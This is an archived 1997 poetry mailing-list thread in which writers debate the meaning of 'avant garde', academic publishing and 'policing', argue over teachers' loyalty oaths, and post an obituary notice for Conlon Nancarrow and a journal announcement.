>in any case, it seems clear that the "policing" context to which Maria
>refers is the policing of the ACADEMIC context, with whatever relation to
>avant garde practices. And the question for me then becomes "well how is
>it possible that someone can have their essay turned down by an editor in
>the academic marketplace and then decide that the fault might lie with
>avant garde writers," writers who for all I know HAVE NO
>WRITING APPEARING in the collections Maria mentions.
>
> Besides, are we really sure that magazines like CHAIN, TALISMAN,
>WITZ and others would have no interest in publishing Maria's more "daring"
>piece? Have they even been tried? And I can't help thinking that the
>problem REALLY is that they haven't been tried because publishing an essay
>in a magazine like that does NOT forward anybody's academic career, so
>that perhaps it never occured to Maria that there would be any "value" in
>publishing there in the first place. And if that is an assumption about
>her concerns that I CANNOT make, at least I can ask her to try those
>publications because the academic "value" of publishing her piece is NOT
>the point--the point is having the piece published in a place where it
>will be read.
>
>
> I think I wouldn't be spending so much time on this subject if it
>didn't seem to me at the heart of a problem that seems to haunt this list
>of late. That problem is this: WHAT IS THE RELATION BETWEEN ACADEMIC
>PRACTICE AND THE VARIOUS TYPES OF "INNOVATIVE" WRITING PRACTICES THAT WE
>MAY OR MAY NOT WANT TO LABEL "AVANT GARDE"? And I feel, in fact, that I'm
>still seeing a great deal of confusion on the subject.
>
> I take the following to be my two basic assumptions: 1) We live in
>a disciplinary society whose REAL operations of power work from the top on
>down, but which also work often because of the unwitting participation of
>those who might be opposed to such operations if they knew they were
>involved in them. 2) That one of the main problems of a discplinary
>society (others too I suppose, but I've never been in them) is that THE
>SELF-INTEREST OF INDIVIDUAL MEMBERS IN THAT DISCIPLINARY SOCIETY OFTEN
>BLINDS THEM TO THE CONTRADICTIONS OF THEIR OWN POSITION IN THAT SOCIETY.
>

> Pierre Bourdieu, as many of you certainly know, has in a book like
>HOMO ACADEMICUS already made it clear that institutional criticism of any
>kind can ONLY have value when the institutional critic has accurately
>diagnosed his or her position in the institutional framework. If you don't
>know who you are, then you can't know other people.
>
> In looking at a number of ideas floating around the list lately,
>it seems to me that one of the problems that comes from insufficient
>awareness about one's own social position is THE TENDENCY TO BLAME
THE
>PERSON WHOM YOU PERCEIVE AS ONE STEP ABOVE YOU IN THE
SYSTEM, accompanied
>by an exaggerated sense of that person's power which goes hand in hand
>with an ignoring of the larger framework. In her post (again, which I
>don't take as her final position) Maria blames an academic editor, who she
>misconstrues as "avant garde," but never addresses the contradictions of
>her own existence in the academic context. But there have been other
>recent examples: language poets are "academically dominant" because a FEW
>of them have more academic authority than other poets, and a some of them
>have made it into anthologies that other people have NOT made it into. A
>real advantage? Well, perhaps yes, assuming that more than a few people in
>an academic system of some thousands teach such work at all. But isn't
>there someone higher up to take on than the 100 people in academic
>positions who just might have potential affinity with what you do?
>
> There are a myriad of possible takes on whether "avant garde"
>activity can have any real place in the (currently disciplinary and
>standardizing) environment of the literary academy. I take recent writing
>by Tom Mandel and Ron Silliman to be saying no, such a place is not
>possible at all. Because I like teaching, and because someone has to teach
>people about poetry at some point, and because I'd rather it be me than,
>say, J.D. McClatchey, I think some intervention is possible, especially on
>the level of teaching. When it comes to academic publishing, the question
>seems whether publishing in the standardized form of the academic
>marketplace can further the concerns of "avant garde" writing and writers?
>I'm tempted to say no, but also tempted to say that, at times, a few
>standard academic articles and books pointing in the direction of less
>standardized work may help bring attention to such poetries.
>
> OF COURSE avant garde writers do some level of policing; the U.S.
>is a country in which, with the occasional exception, the only way to make
>a living at all is to police somebody. If you've got a way out of that,

>great. If like Maria, you probably don't, perhaps the best you can do is
>IN THE ACT OF POLICING TO MAKE IT EXPLICIT THAT YOU ARE POLICING AND IN SO
>DOING CALL YOUR OWN POLICING INTO QUESTION, AND BE CLEAR AT ALL TIMES THAT
>YOU LIVE IN A SOCIETY WHICH IS FORCING YOU TO POLICE. Perhaps you would
>not be policing otherwise, right? I mean, who knows? In another place,
>Maria might be able to write the way she wants to write, on the subjects
>she wants to write about, and be granted the right to make a living
>simultaneously. And so would everybody else, whether they thought of
>themselves as critics, poets, or whatever. What a cool concept!--too bad
>it's not in the works.
>
> But until then, constant vigilance about one's own positioning in
>the disciplinary framework seems to me crucial to saying anything about
>poetry or anything else.
>
> Speaking to you, currently, as an adjunct who publishes books of
>poetry and articles in non-academically authorized journals and who still
>thinks he can do a better job teaching than most of the academic critics
>who get better teaching jobs because they publish in academic journals
>(present company all excluded, of course), and who also, sometimes, tries
>to publish critical pieces about innovative writing in academic journals
>but usually fails because he either doesn't want to do it the right way,
>or can't, or just hasn't figured out how best the problem can be solved,
>save by getting other people to change their minds--
>
> Mark Wallace
>
>
>/----------\
>| |
>| [redacted] |
>| GWU: |
>| http://gwis2.circ.gwu.edu/~mdw |
>| EPC: |
>| http://writing.upenn.edu/epc/authors/wallace |
>|_____|

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269. Maria Damon
Re: the misery of poetry
Tue 12 Aug 1997

actually i find this charming and not at all banal. at the level of individual practice, this kind of stuff is fine with me (for example, i don't own a tv). but at the level of mindless pontification and self-justifying moralisms, forget it.

At 11:40 AM -0700 8/11/97, mark weiss wrote:
>An extreme example: I'm translating a Cuban poet who has just moved to
>Spain after 30 years' residence in NY. Email would make my life a lot
>easier, but this otherwise normal and pleasant man doesn't believe in
>typewriters, let alone computers.
>
>At 09:56 AM 8/11/97 -0500, you wrote:
>>maria, that really IS banal...
>>
>>mebbe some of the more acclaimed poets out there who rail against emedia
>>should spend a little time getting their feet wet in same (not that the
>>radio or tv, say, are UNelectronic devices---i think some may have
>>forgotten that these items are plugged in too)... personally, i think the
>>resistance given voice to (by nobel-laureate poets, for example) to things
>>electronic reflects their having intuited that the earth is moving
>>under their feet...
>>
>>best,
>>
>>joe
>>
>>

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270. Christina Fairbank Chirot
Re: avant garde/a-v dragnet/danger a vat
Tue 12 Aug 1997

In "The Vanishing American Hobo" (in Lonesome Traveler) Jack Kerouac --with a nod to L-F Celine--notes that the police operate out of nine lines of boredom and one line of law. Mark Wallace: "I must confess to great boredom over the struggle to define the meaning of the term 'avant garde'. . .
" . . . IN THE ACT OF POLICING TO MAKE IT EXPLICIT THAT YOU ARE POLICING AND IN SO DOING CALL YOUR OWN POLICING INTO QUESTION, AND BE CLEAR AT ALL TIMES THAT YOU LIVE IN A SOCIETY WHICH IS

FORCING YOU TO POLICE . . ." Mark Wallace concludes by noting a need for constant vigilance--and as well asserts that people generally blame higher ups for their sorry state. Instead according to Mark Wallace it appears they should blame the entire society for making bored souls turn into cops.

("America's Most Wanted" has harnessed just such energies with great success . . .)

I like Bob Grumman's Otherstream taxonomy--and wonder if there is a Heraclitean Stream . . .

Clark Coolidge (have to check the source reference so to speak)notes much liking a line from Dashiell Hammett's story "The Tenth Victim": "There was a constant stream of things."

The murder weapon in that story is a typewriter . . .

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↑ Index

271. Joe Amato/Kass Fleisher

Re: when you do your own policing

Tue 12 Aug 1997

---

it occurs to me (slow-witted that i am) that one of the problems lurking just beneath the surface of the avant-garde thread has to do with how one understands oneself...

i mean, if you define yourself simply as a "writer," on the basis of doing different sorts of writing for different sorts of audiences on different sorts of presses at different times, you'll likely find any tag a restriction of sorts, mebbe even an ontological restriction... b/c at any moment, you may find yourself outside or inside a particular network of writerly affiliations, or if you wish, community...

one of the problems i have with academic-scholarly writers (that is, with those who define themselves as such, which is occasionally a function of their failure to define themselves as such!) is that they sometimes take for granted their position as writers within the academic publishing system... which sometimes leads to a sort of pooh-poohing of motivations, if not articulations, that seem to these folks to fall too far afield... and of course, these days, contemporary poetry in general generally falls too far afield...

one of the problems i have with more avant-garde writers---most of whom, owing to the sort of work they do, *are* acutely aware of public perception and reception (and again, i'm using a-g w/o any critical interference, as a descriptor)---is that they sometimes dig in on the aesthetic issues in particular... as though community itself turned on towing a certain aesthetic line... which, for me, has always been a questionable way of forging human relationships, though i'll grant that things can be rough-going when you really don't like somebody's work!... i've always mself felt a particular affinity for folks who work hard and get little public acclaim---by the general public, i mean... and end up barely making artistic ends meet...

one of the problems i have with more conventional writers, trade press writers---some or perhaps many of whom simply do not understand the degree to which their aesthetic is one among many aesthetics---is that they often achieve "success" without a whole lot in the way of identifying why... that is, what registers they're playing, *as* registers... which translates, for one, to me being able to appreciate their work, while they don't seem to appreciate mine...

i guess i have problems with all sorts of writers!... and having written in all three categories (only recently trying to make the transition into more conventional work), it's fair to say that i feel the stresses and strains attendant to each... moreover, i teach technical and professional writing---and it's really easy from this vantagepoint to see how these different sorts of commitments, motivations, publishing realities can work to obscure what different publics perceive as "good" or "bad" work...

i hope i'm clear on one point, anyway: that though pluralism is not w/o its attendant risks, one can inhabit multiple spaces---or to drop that geometric metaphor for a moment---multiple processes... i would think that what's necessary is a capacity for not bullshitting oneself into believing that one is doing x while in actuality one is doing y... but of course x's and y's are negotiable too---sometimes shit happens...

best,

joe

↑ Index

272. Herb Levy
Conlon Nancarrow
Tue 12 Aug 1997

I just returned home from the east coast to find a message on my answering machine from Trimpin saying that Conlon Nancarrow died over the weekend in Mexico City. Nancarrow would have been 85 in October.

The American expatriate composer was best known for his series of studies for player piano, composed and hand-punched on a custom machine, the medium in which he worked valmost exclusively for much of the last fifty years. These works were really wonderful extensions of the sound world of the piano timbrally altered by extremes of tempo, tempo ratios, and unusual canonic structures. His few works for live performers (either early works composed before Nancarrow began focusing on player piano or quite recent pieces commissioned by performers & ensembles like Ursula Oppens & Arditti Quartet) have been more rarely heard.

All but the three most recently completed of Nancarrow's Studies for Player Piano are recorded on Wergo, his other works have been recorded by Arditti Quartet, Ursula Oppens, Continuum, Joanna MacGregor, and others. In 1995, Cambridge University Press published a book length study of his work by Kyle Gann.

Herb Levy
[redacted]

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273. KENT JOHNSON
Re: Ironies of Policing
Tue 12 Aug 1997

Goodness. It would appear that my previous reply to Pete Landers's
post re: McCarthyite loyalty oaths (the one where I have an ecstatic
vision of millions of workers marching on the Pentagon in Blade
Runner fashions) certainly touched his nerve!
Kent
On Aug 12, Pete Landers wrote:
> Someone wrote:
> > But Charles, I didn't say I objected to Maria and Rebecca presenting
> > their point of view. Not at all! What I was responding to is their
> > policing call to close down discussion on a topic which, I
> > agree, is obviously of great interest to poets on this list and well
> > beyond. Of course Maria and Rebecca are free to call for

> > silence around anything they want, but I can point out too, can't I,
> > that such a call is silly in the extreme, and thick with unintended
> > irony, given Maria's own comments the other day about the
> > "avant-garde" openly and subliminally policing its borders.
>
> Isn't this the same clear thinker who says taking an oath to defend the
> Constitution means turning in my colleagues if they speak out against a
> gov't that suspends the Constitution? What is he objecting to now?
>
> > And after
> > all, since no one else felt the need to answer these censorial
> > gestures, well... I mean, you can hardly blame me for speaking up!
>
> Ah! censorship. Well, thank you Mr. Whatchamacallit, or whomever.
> Somehow I was confused. I thought calling a review a waste of space was
> free speech, not censorship. Thanks for keeping an eye peeled for my 1st
> Amendment rights! ;-)
>
> Pete
> p.s. did i say that was the last? hehehe well, i lied!
>

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274. Tom Mandel
snapstream cracklestream popstream
Tue 12 Aug 1997

"D.J. Renegage of Washington DC"

that's "Renegade" (prob. a clickstream slip)

...and he's a really interesting smart and committed poet. Anyone here familiar with his work? Maybe the other DC'ers?

"Incidentally, Henry Taylor, Pulitzer Prize winning poet for his book The Flying Change, did enter as an individual. He didn't even make it to the semi-final round."

I hope I'm wrong, but I somehow can only read that as a snide bit against Henry Taylor. He is, after all, a "mainstream" poet (get thee behind me terminology). Yet, Henry Taylor is *really* an experimental poet. That is, he experiments with his poetry and how he writes and presents it (using experiment in the loose and unrelated-to-science meaning the word is given in the arts). He's had a long-term correspondence with Jackson Maclow and written very well on Jackson's work and written work of his own using techniques similar to/inspired

by/identical to/something like... Jackson's. The engagement proceeded from seeing a book of Maclow's at a yard sale (I think), buying it and allowing its foreignness to anything he'd done/thought up to that point to operate as inspiration.

I assume his jumping into the slam pool (I sure as hell wouldn't do it [did anyone see Kim Dawn there?]) reflects the same sinew and flex. Good for him.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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275. Charles Alexander

Re: avant garde/a-v dragnet/danger a vat

Tue 12 Aug 1997

Yesterday we received in the mail the lavish color flyer for the u of arizona's performance series. One of the performances is of a Phillip Glass version of a Cocteau tale. The flyer described Phillip Glass as an "avant-garde superstar."

That makes me want to drop the term "avant-garde" altogether, even though I haven't been predisposed to dropping it before that.

charles

chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision handmade and trade editions of contemporary innovative writing [redacted] :: http://personal.riverusers.com/~chax/

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276. KENT JOHNSON

that's not what I meant to say, that's not what I meant to say a

Tue 12 Aug 1997

Henry, Pete, and list: Just to make it clear! I was not referring to Pete Landers as an "imperialist running dog" for feeling fine about his oath. Sorry about that misunderstanding. My title meant to poke a bit of self-reflexive fun at my own undying revolutionary dreams, in politics as in poetry. (tho I am absolutely confident we are merely in a pause, and that the left is coming back.) Kent ps:

"Imperialist Running Dog" was actually the name of a wonderful, slobbering, and loving dog I was once master to.

> *I dare to read the oath for the words written? Seems to me the real traitors are the Ollie Norths and Nixons and McCarthys, but Nixon did call home the troops. That was the hot news item in boot camp, I recall.*
>
> *Mr. Pete, this is the last I'll say on it too - but I was on your side. I meant it was astonishing in the context of list-assumptions it was a running-dog kind of thing to sign. - Henry*

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277. Jordan Davis
Louis Cabri, Where
Tue 12 Aug 1997

Have You Gone?
Looking for Louis' email - or phone - please backchannel, any of you who know.
Not a creditor,
Jordan

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278. The Ultimate Autodidact
Re: to be or not to be (loyal)
Tue 12 Aug 1997

I asked, at the beginning, what specifically do you object to in the documents in question. My point being that it would be a lie to swear an oath one never meant to keep.

charles wrote:
> Thanks for all the posts regarding the loyalty oath. I suppose I can
> interpret "defending against the enemy" as defending against the government
> itself if I come to see them as the enemy. I wish it were just supporting
> the bill of rights, the constitution, etc. -- but it's all of those laws,
> many of which I don't support, but I guess I will just grin, sign, & bear
> it, and go about the biz of trying to get students to think for themselves,
> imagine their own loyalties.

Well, the documents say you do not have to support those laws. If you oppose a law, according to those documents, you have a right to object. The people who wrote those documents would be glad to see that you want to teach the kids to think for themselves, to question authority. I think you have a superior

understanding of the role of a teacher, and we need more people like you! FWIW, the Constitution doesn't contain any laws.

I don't understand how any poet or writer can continue to misconstrue my words. Please only read the ones I have written. I say, if you read those documents then you will see that they are protecting your right to teach whatever you see fit. When the school board and the PTA try to ban a book that you discuss in your small press class, those documents are supposed to come to your aid. They were written by philosophically brilliant men, admittedly in a time when women and non-whites and people who didn't own land had no representation in the government, but they have been amended. They must be amended further, too. I think *that* is the way to go.

There are some alternatives to written laws. There's despotism, surely we don't want that. There's a kind of anarchy I would prefer, but it requires even more documents and oaths than this ugly oligarchy we live in. I've looked into Marx and I feel his ideas would fit very nicely within the framework of this document. For the time being, then, I stake my hope on the idea that we can all work out our problems with the structure outlined in the Constitution, and continue to amend it until the greediest sleezeballs find they are not welcome here.

What I mean is, it's wide open for interpretation. Surely you can sign it without compromising your values. I personally take the stance that the Constitution is threatened every day, more from within than without, yes. For instance, because of my oath I participate in demonstrations if I disagree, because we have a right to peaceably assemble. And nowhere in the Constitution does it say we can't do a few more bongs. So here's to you, one and all. Keep doubting! But please stop misreading me.

Pete

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279. Tom Mandel
avant academe
Tue 12 Aug 1997

Mark, your post on the relation of avant garde to academy is really wonderful and even better it is useful. A person reading it can use it in thinking about her/his life.

A couple of points, however. There is a tendency to think of academy as institution (correct) and avant garde as... anarchy/utopia/individualism/? Just a tendency, mind you. And this leads you to formulate a picture of unestablished avantgardists pointing envy (or whatever) at established avantgardists because of their position *in the academy* -- i.e. in another institution.

No this is intra-institutional politics. The avantgarde (non-mainstream poetry, cosa nostra -- call it what you want) is an institution, and position in it is critical to and at stake for all those committed to the institution.

I believe the point important, because it allows one to ask what the relation is of a practice of writing ----- which hopes (by whatever means and to whatever end *other* than institutional acceptance) actually to *be* avantgarde, using whatever loose re-denotation you want for the term: i.e. to be "new" "sui generis" "experimental" whatever ----- to the institution(s) in which it cannot escape participation.

The utility of this question -- not of an answer, just of the question -- is that it dissipates complaint.

I conceptualize people who view others (more established others) with envy, for example, as having a view of social space on the model of a Go or chess board. It's finite, structured, and occupied. You want to occupy space you gotta force somebody out of the space you want to occupy. Institutional space is always like this in some sense, in some retrospective sense.

In fact, the social space of an institution (e.g. such as avantgarde poetry) is more like legos or tinker toys (for those who remember them). It's additive, and the more you add in a given direction, the more you move the center of the institution in that precise direction. There's nothing ambiguous about it.

Hence, it doesn't do to conclude that we must constantly monitor our policing positions in the institutions which entail us. Constantly monitor equals self-police, and in the hermeneutic circle of this thought Mark is thinking, that very self-monitoring begins to found the so-called hierarchical discipline/punish society we occupy in which "the only way to make a living at all is to police somebody" (that is, it founds *a vision* of society along these lines).

I think I've allowed myself to become too abstract; what is the question here? How to become independent as a poet, let us say. How to cut or at least loosen the leash? The noose?

If you are a really good teacher, then teach. If you are a really good poet, then write. But, "I am a really good poet" provides you with no rights whatever to be published. Ditto, "...good teacher." If you are a good writer you will find readers however. And a teacher finds students.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]

Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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280. Henry Gould
avant-garde police
Tue 12 Aug 1997

The police in Three Digits, Iowa are very avant-garde. Along with the usual training in how to use handcuffs and where the nearest Dunkin' Donuts is, they are required to take 2 creative writing courses (poetry and prose-poetry), and moreover, to put this training to USE ON THE JOB.

Officer Jim McClain was confronted with a tight situation the other day - protestors outside the local catfish cannery were getting rowdy (all four of them). McClain whipped out his copy of FISH MANTRA by A.G. (Albert Gimlet), recited it at the top of his lungs, & soon had the crowd under control. (see poem below)

In Three Digits, a conviction for shoplifting leads to a 2-day Seminar on the work of Rod McKuen. For more serious crimes, offenders are ordered to "lurk" on the Poetics list for up to 9 months! Nobody gets off easy in Lil' Three.

FISH MANTRA

Fish! Fish! Fish!
I love all fish!
Big fish, little fish!
Cute fish! Ugly fish!
Even sharks are friends of mine!
I love fish!

(repeat 300 times)

p.s. the poetry program in 3 Digits has no connection with the famous Iowa Writing Program at U. Iowa, although Jorie Graham's dog Cesca has been known to moonlight there when she's on tour. (Cesca won the prestigious Officer Pup Memorial Police Dog Poetry Bark in 1993, under an assumed name.)

- Eric Blarnes

Eric's new book, MAKE MY DAY : POETRY BY AND FOR PROFESSIONAL MERCENARIES, is forthcoming from Univ. of Left Overbie Press. (see special chapter on "Bored U. Politics")

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281. The Ultimate Autodidact

Re: Ironies of Policing

Tue 12 Aug 1997

Mark pointed out:
> Oaths, like all texts, have contexts. US
> loyalty oaths come out of the context of repression and stink, for many of
> us, of their history, regardless of the actual words.

Yes, I agree that texts have contexts, but an oath ... not as I see it. They can only hold you to the exact words of an oath.

So many fail to understand. This guy wants to teach. He has a conscience. How can he sign the oath if he objects to some things. I say, by sticking to the exact wording and not muddying the waters with the historical context.

mark continues:

> *all of whom are seen*
> *as servants of and subserviant to the state. Metaphorically, a teacher who*
> *has to sign such an oath is being told that he, too, is such a servant.*

Yes. A teacher in a public school is a civil servant, a public servant. That never meant knuckling under to Rush L. and his cronies.

then...

> *And*
> *then there's the issue that even if I fully agree with an oath the fact*
> *that I have to sign it is a violation of my freedom of speech and thought.*

That's nothing compared to the promises we have to make in the business world, such as signing away copyrights and patents. Where I work I am paid to write what I am told to write, but heck, they pay. And if I don't sign, I don't work. I have written over 10,000 pages for other people. Frankly, I'm glad it's not under my own name because it's all shit. My wife has defeated the uncertainty principle in designing a particular flowmeter, but that patent went to a company. And public servants must swear to defend the Constitution? They get off easy, IMO.

but this:

> *similar instance is our wonderful pledge of allegiance*

Nope. It is not similar. I stopped saying this one years ago when I was in high school for the exact reasons you outline. Although I was raised catholic, I was beginning to consider atheism and I realized that people who had already chosen it were being accused of disloyalty in that pledge. The Supreme Court had just said those of us who objected did not have to say it, so I didn't. And I was proud of the kid who put up the fight.

I don't get this:

> *Maybe these documents are uniquely sacred*
> *and should be immune to deconstruction.*

It seems to me I am saying the opposite, and you are misreading me. You seem so aware of history. I don't get why the (to me) obvious daily threats to the Constitution are bundled together with it. For instance, there isn't supposed to be a standing army in peace time, but we have one. My point is, I see no attempt to deconstruct the document in your post. I see only side issues, most of which I agree with.

My advice was, and still is, read it and sign if you can. It's a good document, though it needs the ERA, for one thing.

Pete

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282. Daniel Bouchard
the Oath thing, OR fear and oathing
Tue 12 Aug 1997

So, Charles Alexander, what did you decide about signing the paper? Enquiring minds, etc.

What a conversation this has set off.

Who was it that asked about the avant-garde signing loyalty abatements?

The word "policing" has appeared on the List lately; a word that, for me, will always remain a Boy Scout command for camp busywork, as in "police the area," i.e., look for gum wrappers in the grass, butts on the asphalt, etc.

Those of us in the advance guard got all the goods. That was in the Valley Forge Council, southeastern PA, for those of you thinking we may have pursued merit badges together some long summer ago. I did well in rowing and swimming, not so well in beekeeping and patriotism.

Yours as ever,

[redacted]

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283. Daniel Zimmerman
Re: Ironies of Policing
Tue 12 Aug 1997

The Ultimate Autodidact wrote:
>

> Mark pointed out:
> > Oaths, like all texts, have contexts. US
> > loyalty oaths come out of the context of repression and stink, for many of
> > us, of their history, regardless of the actual words.
>
> Yes, I agree that texts have contexts, but an oath ... not as I see it.
> They can only hold you to the exact words of an oath.
>
> So many fail to understand. This guy wants to teach. He has a
> conscience. How can he sign the oath if he objects to some things. I
> say, by sticking to the exact wording and not muddying the waters with
> the historical context.
>
> mark continues:
>
> > all of whom are seen
> > as servants of and subserviant to the state. Metaphorically, a teacher who
> > has to sign such an oath is being told that he, too, is such a servant.
>
> Yes. A teacher in a public school is a civil servant, a public servant.
> That never meant knuckling under to Rush L. and his cronies.
>
> then...
>
> > And
> > then there's the issue that even if I fully agree with an oath the fact
> > that I have to sign it is a violation of my freedom of speech and thought.
>
> That's nothing compared to the promises we have to make in the business
> world, such as signing away copyrights and patents. Where I work I am
> paid to write what I am told to write, but heck, they pay. And if I
> don't sign, I don't work. I have written over 10,000 pages for other
> people. Frankly, I'm glad it's not under my own name because it's all
> shit. My wife has defeated the uncertainty principle in designing a
> particular flowmeter, but that patent went to a company. And public
> servants must swear to defend the Constitution? They get off easy, IMO.
>
> but this:
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> > similar instance is our wonderful pledge of allegiance
>
> Nope. It is not similar. I stopped saying this one years ago when I was

> in high school for the exact reasons you outline. Although I was raised
> catholic, I was beginning to consider atheism and I realized that people
> who had already chosen it were being accused of disloyalty in that
> pledge. The Supreme Court had just said those of us who objected did not
> have to say it, so I didn't. And I was proud of the kid who put up the
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> It seems to me I am saying the opposite, and you are misreading me. You
> seem so aware of history. I don't get why the (to me) obvious daily
> threats to the Constitution are bundled together with it. For instance,
> there isn't supposed to be a standing army in peace time, but we have
> one. My point is, I see no attempt to deconstruct the document in your
> post. I see only side issues, most of which I agree with.
>
> My advice was, and still is, read it and sign if you can. It's a good
> document, though it needs the ERA, for one thing.
>
> Pete

Pete: I, too, stopped saying the pledge when Ike slipped in "under God"--I was 10 or 11 at the time. Good for us.

Charles: I remember that this issue came up at Buffalo in the '60s, notably with Gregory Corso, who'd been hired without any credentials but his poetry [hooray for Al Cook, who served as chairman at the time, if memory serves]. He was teaching Shelley, & was a real pleasure [he included Newman Ivey White's biography as well as a collected works]. Everything went well for the first few weeks; we adjourned to Bitterman's bar across the street a few times, & the class went on till we all knew it was over, not when the bell rang. The University wanted GC to sign an oath of loyalty to the Constitutions of the United States and of the State of New York; he assented to the former, but said he'd not read the latter, & requested a copy. It took a while for someone to produce the state constitution, & it was very long. CG told the University he had no time to read it, since he was teaching the class. So he got canned. A great loss to his students, though it made an important point at the time to people who thought it made an important point. The point? Sign it, already: take the money & run. Hungry? Eat. "Got a headache? Take an aspirin." I signed one to get a teaching fellowship, without which I couldn't have afforded graduate school & would

have turned my back on a career in which I've managed at least to present critiques of the USA & beyond; whether I've personally radicalized anyone, I'm not sure, but I've tried. _A Man for All Seasons_ makes a great play, but Thomas More was playing for much higher stakes than anyone today asked to take an oath like the one you've been asked to take. More important not to betray yourself by letting a government full of people who daily violate the same oath purge you. No more Gunga Dins! --Dan Zimmerman

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284. **Jack Spandrift**
Re: avant garde/a-v dragnet/danger a vat
Tue 12 Aug 1997

In the fifties, margarine called "avant-garde butter."

Do what you have to do, poets.

- Spandrift

p.s. on another thread: if Tom Jefferson were alive today, he would call himself "the Artist Latterly-Known as Thomas Jefferson".

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285. **Joseph Lease**
Re: "avantgarde"
Tue 12 Aug 1997

---

well--in our current context--articulating the spectrum of practices and epistemologies is one of the most radical acts possible--the spectrum--

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286. **Joseph Lease**
Re: "avantgarde"
Tue 12 Aug 1997

---

nb to Maria and Jordan--

new name for avant-garde poetry: poetry

has basically been my position for twenty years--

I think it's what Dickinson and Whitman said--

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287. **mark weiss**
Re: Ironies of Policing
Tue 12 Aug 1997

God (I mean this as an expletive), I hope this my last contribution to this thread.

1. As long as memory persists, historical context remains attached to the words that issued forth from that context. That's why the Supreme Court is interested in legislative and constitutional history and all courts are interested in common-law precedent.

2.Police, soldiers and elected and appointed government officials are servants of the state in a different sense. As they are variously armed, the state built on the constitution is threatened by overthrow if they allow their personal opinions to rule their actions on the job. A soldier in battle may think the commander's strategy is dumb, but he's not legally allowed to act on his disagreement--the chain of command, which ultimately goes back to Congress (declarations of war and appropriations) and the Commander-in-chief, is protected by his understanding of his oath. He has to subordinate his will to the authority established by the document he swears to uphold. His general or a group within government could easily, as they do in most countries, circumvent the document's process by organizing a putsch--it has been hoped that their oath and the culture of their professions will restrain them from doing so, and for the most part that hope has been rewarded. Teachers may subvert the minds of the innocent, but they don't have tanks or access to same. That's why until recent decades no one ever required an oath from them, whereas these other guys have been swearing on the bible as a condition of employment for a long, long time.

3. As to your work situation, I feel your pain.

4. I'm not trying to deconstruct the constitution, although that might be fun. It's the oaths and pledges I'm after.

4.
At 12:07 PM 8/12/97 -0500, you wrote:
>Mark pointed out:
>> Oaths, like all texts, have contexts. US
>> loyalty oaths come out of the context of repression and stink, for many of
>> us, of their history, regardless of the actual words.
>
>Yes, I agree that texts have contexts, but an oath ... not as I see it.
>They can only hold you to the exact words of an oath.
>
>So many fail to understand. This guy wants to teach. He has a
>conscience. How can he sign the oath if he objects to some things. I

>say, by sticking to the exact wording and not muddying the waters with
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>> as servants of and subserviant to the state. Metaphorically, a teacher who
>> has to sign such an oath is being told that he, too, is such a servant.
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>Yes. A teacher in a public school is a civil servant, a public servant.
>That never meant knuckling under to Rush L. and his cronies.
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>> then there's the issue that even if I fully agree with an oath the fact
>> that I have to sign it is a violation of my freedom of speech and thought.
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>That's nothing compared to the promises we have to make in the business
>world, such as signing away copyrights and patents. Where I work I am
>paid to write what I am told to write, but heck, they pay. And if I
>don't sign, I don't work. I have written over 10,000 pages for other
>people. Frankly, I'm glad it's not under my own name because it's all
>shit. My wife has defeated the uncertainty principle in designing a
>particular flowmeter, but that patent went to a company. And public
>servants must swear to defend the Constitution? They get off easy, IMO.
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>Nope. It is not similar. I stopped saying this one years ago when I was
>in high school for the exact reasons you outline. Although I was raised
>catholic, I was beginning to consider atheism and I realized that people
>who had already chosen it were being accused of disloyalty in that
>pledge. The Supreme Court had just said those of us who objected did not
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>fight.
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>It seems to me I am saying the opposite, and you are misreading me. You
>seem so aware of history. I don't get why the (to me) obvious daily
>threats to the Constitution are bundled together with it. For instance,
>there isn't supposed to be a standing army in peace time, but we have
>one. My point is, I see no attempt to deconstruct the document in your
>post. I see only side issues, most of which I agree with.
>
>My advice was, and still is, read it and sign if you can. It's a good
>document, though it needs the ERA, for one thing.
>
>Pete
>
>

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288. **Judy Roitman**
Passing this along....
Tue 12 Aug 1997

Just published--FIRST INTENSITY #9. Contributors (partial list): Diane Wakoski, Duncan McNaughton, Mike Boughn, Spencer Selby, X.J. Kennedy, Dallas Wiebe, Michael Gottlieb, Will Alexander, Jean Monod, Vincent Ferrini, Drew Gardner, Lizbeth Keiley, David Gilbert, Gloria Frym, John Isles, Rochelle Ratner, et al. Cover art: A hand-drawn, and used, "shooting target" by S. Clay Wilson, aptly entitled "Bounty Hunter" with the caption: "Grab the sky you junky polecat" (dedicated to William S. Burroughs, who helped the artist put holes in the target this past June); also six paintings by William S. Burroughs, with an introduction by Jim McCrary and recent and characteristically terse comments by Burroughs on the topic of cloning. This is likely the last journal to publish anything of William's prior to his death on August 2nd. 168 pages, perfectbound; $9 (+$2.00 p/h). Order from the publisher: Lee Chapman, FIRST INTENSITY, P.O. Box 665, Lawrence, KS 66044.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

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289. Peter Landers
loyalty oath of a different color
Tue 12 Aug 1997

Charles pointed out to me, backchannel that the oath said:

I, _____ do solemnly swear (or affirm) that I will support the Constitution of the United States and the Constitution and laws of the State of Arizona; That I will bear true faith and allegiance to the same, and defend them against all enemies, foreign and domestic, and that I will faithfully and impartially discharge the duties of the office of _____ according to the best of my ability, so help me God (or, so I do affirm).

The clinker there is "and laws" which is not in the New York State oath. So *I* am the dolt who misread. Apologies all around.

If I had to sign that, I would balk, too. It seems to me that a teacher shouldn't have to support laws. Kids should know about the possibility of civil disobedience. Laws can't have domestic enemies, for instance, and any text that says such is lame-brained. I'd say it has always been a duty to oppose laws that one disagrees with. Now I think that the oath is un-Constitutional.

Since you and others must get past this hurdle in order to teach, sign it, anyway, and if they nail someone with it, if for instance, adultery laws are used to fire a teacher, or someone is fired for teaching Thoreau, then there's a case for the courts, if you want. IMO, the oath foreswears itself by its own un-Constitutionality.

